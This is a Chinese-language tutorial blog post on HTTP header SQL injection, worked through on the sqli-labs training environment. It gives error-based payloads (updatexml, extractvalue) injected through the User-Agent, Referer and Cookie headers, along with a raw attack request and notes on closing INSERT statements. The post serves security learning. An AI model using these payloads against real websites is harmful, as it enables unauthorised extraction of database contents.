SQL注入之HTTP请求头注入
创始人
2025-06-01 11:27:56

Ps: 先做实验,在有操作的基础上理解原理会更清晰更深入。

一、实验 sqli-lab

1. User-Agent注入

  • 特点:登陆后返回用户的 User-Agent --> 服务器端可能记录用户User-Agent

703d0c6f-0f55-4500-a971-b9d0cf652954

  • 输入不合法数据报错

4aca6065-85d6-43dd-89b0-16a7caa4597a

  • payload:' and updatexml(1,concat("~",database(),"~"),1),'','')-- clay

  • 数据包
POST /sqli-labs/Less-18/index.php HTTP/1.1
Host: 10.49.102.86
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 38
Connection: close
X-Forward-For:
User-Agent:' and updatexml(1,concat("~",database(),"~"),1),'','')-- clay
Upgrade-Insecure-Requests: 1submit=Submit&uname=admin&passwd=admin
  • 备注:

该注入是insert语句的注入,完整SQL语句为:

$insert="INSERT INTO `security'. 'uagents'( uagent', ' ip_address', 'username')VALUES ( '$uagent' ,'$IP', $uname)";
payload有效备注
‘,’‘,’') and updatexml(1,concat(““,database(),””),1)先闭合insert
’ and updatexml(1,concat(““,database(),””),1),‘’,‘’)-- clay`后闭合insert

总结:insert类型的SQL注入时,在注入点闭合后就添加要执行的语句,而不是,闭合完整个insert语句后再添加要执行的语句。

2. Referer注入

特点: 返回用户的Referer,可能后端会记录该值

3726faf2-3584-4891-99e5-0bc3efb17fdb

85289be8-628f-49f0-995c-73d63c69c0a2

payload12138' and extractvalue(1,concat("~",database())) ,'') -- clay

b68e69f1-db3f-47c4-bcc6-6cedf52ade72

3. Cookie注入

特点: 返回,后端可能记录User-Agent和Cookie

90f536c0-61f5-4ee1-951b-6954bb5d96bc

把cookie的值删除后:

2597990e-329c-4dae-aed5-35a20e4550ce

2e912a1c-f84b-430c-877f-6d1f431d1194

payload: ' and updatexml(1,concat("~",database(),"~"),1) -- clay

fa799001-4aab-44cc-b85d-cf2f8b3a7b62

二、 HTTP头部注入讲解

一下均为自己的理解,讲的大白话一点,粗体是核心。

原理:

HTTP头部注入产生的核心原因就是,后端存在查询或记录HTTP请求头内容(数据库交互)

实验一:后端记录 User-Agent ,insert 类型的注入

实验二:后端记录 Referer ,insert 类型的注入

实验三:后端查询 cookie ,select 类型的注入

不同的注入类型存在不同的闭合方式,这个一点要注意,除上述闭合类型以外,当搜索框中存在注入时,可能需要%的闭合(模糊查询 like %xxx%)

三、总结

在这里还是再次强调一下SQL注入产生的条件:用户输入的语句带入到数据库执行

  1. 参数可控

  2. 带入到数据库执行

HTTP头部注入也是一模一样,用户可以控制HTTP请求头,后端带入到数据库执行,这两个条件缺一个都不可以!

如果对你有所帮助拜托拜托点赞收藏加评论666,更多文章内容欢迎访问笔者博客 :xclay.net

相关内容

热门资讯

供应紧张与AI需求推动铜价一路... IT之家 12 月 13 日消息,当地时间 12 月 12 日,据路透社报道,在 AI 数据中心需求...
视频丨从“会种地”到“慧种地”... 农田一边连着农民的收成一边连着百姓的饭碗今年的农田“更新”了啥?看看大家怎么说01:34南京浦口众鑫...
俄媒曝拉夫罗夫揪出美国间谍 (来源:环球时报)转自:环球时报 【#俄媒曝拉夫罗夫揪出...
突发:俄罗斯发动大规模空袭 当地时间13日,乌克兰敖德萨州州长奥列格·基佩尔表示,敖德萨遭受了俄罗斯大规模的空袭。目前,敖德萨大...